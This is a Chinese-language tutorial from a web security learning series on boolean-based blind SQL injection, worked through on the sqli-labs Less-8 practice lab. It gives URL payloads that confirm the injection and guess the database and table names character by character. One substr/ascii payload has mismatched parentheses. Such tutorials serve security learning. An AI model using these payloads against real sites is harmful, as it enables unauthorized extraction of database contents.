一步一步学习 Web 安全 2.6 布尔盲注

盲注

盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。

盲注有三种:

  1. 布尔盲注
  2. 延时盲注
  3. DNSlog 注入

布尔盲注

这一节学习的是布尔盲注:在可以注入的页面,构造判断语句,如果页面正常显示,表示判断是正确的,如果页面非正常显示,表示判断是错误的。

常用方法

  • left(a, b):从 a 字符串的左侧截取 b 个字符
  • regexp 操作符
  • like 操作符
  • substr(a, b, c):从 b 位置开始,截取 a 字符的 c 长度
  • ascii():将字符转换为 ascii 值

练习

打开 sqli-labs 的 less-8:

  1. 注入判断
    url 后输入 id:?/id=1,页面返回:you are in
    输入:?id=1',页面没有返回
    输入:?id=1' and '1'='1,页面返回:you are in
    输入:?id=1' and '1'='2,页面没有返回
    至此基本可以判断页面存在 SQL 注入漏洞,而且页面没有报错信息,但是会根据语句正确与否页面会有不同的反馈,所以可以用盲注。

  2. 使用布尔盲注测试

  • 猜测库名:
    输入:?id=1' and left((select database()), 1) = 'a' --+,如果页面没有返回信息,把 a 替换成其他字母,直到页面上返回 you are in,表示库名第一个字符就是那个字母,然后依次这样猜出其他字符
  • 当前库的第一张表的第一个字符:
    输入:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1)='a' --+,依旧把 a 替换成字母进行猜测,其他查询语句也是依次类推就不写了
  1. 其他关键字和方法
  • regexp:
    ?id=1' and left((select database()), 1) regexp '^a' --+
  • like:
    ?id=1' and left((select database()), 1) like 'users%' --+
  • substr 和 ascii:
    ?id=1' and ascii(substr database()), 1, 1))=115 --+

盲注如果使用手工注入的话非常繁琐,如果有兴趣的话可以自己先学习一下如何使用工具进行盲注。

上一节:一步一步学习 Web 安全 2.5 之报错注入
下一节:一步一步学习 Web 安全 2.7 之时间盲注

你可能感兴趣的:(一步一步学习 Web 安全 2.6 布尔盲注)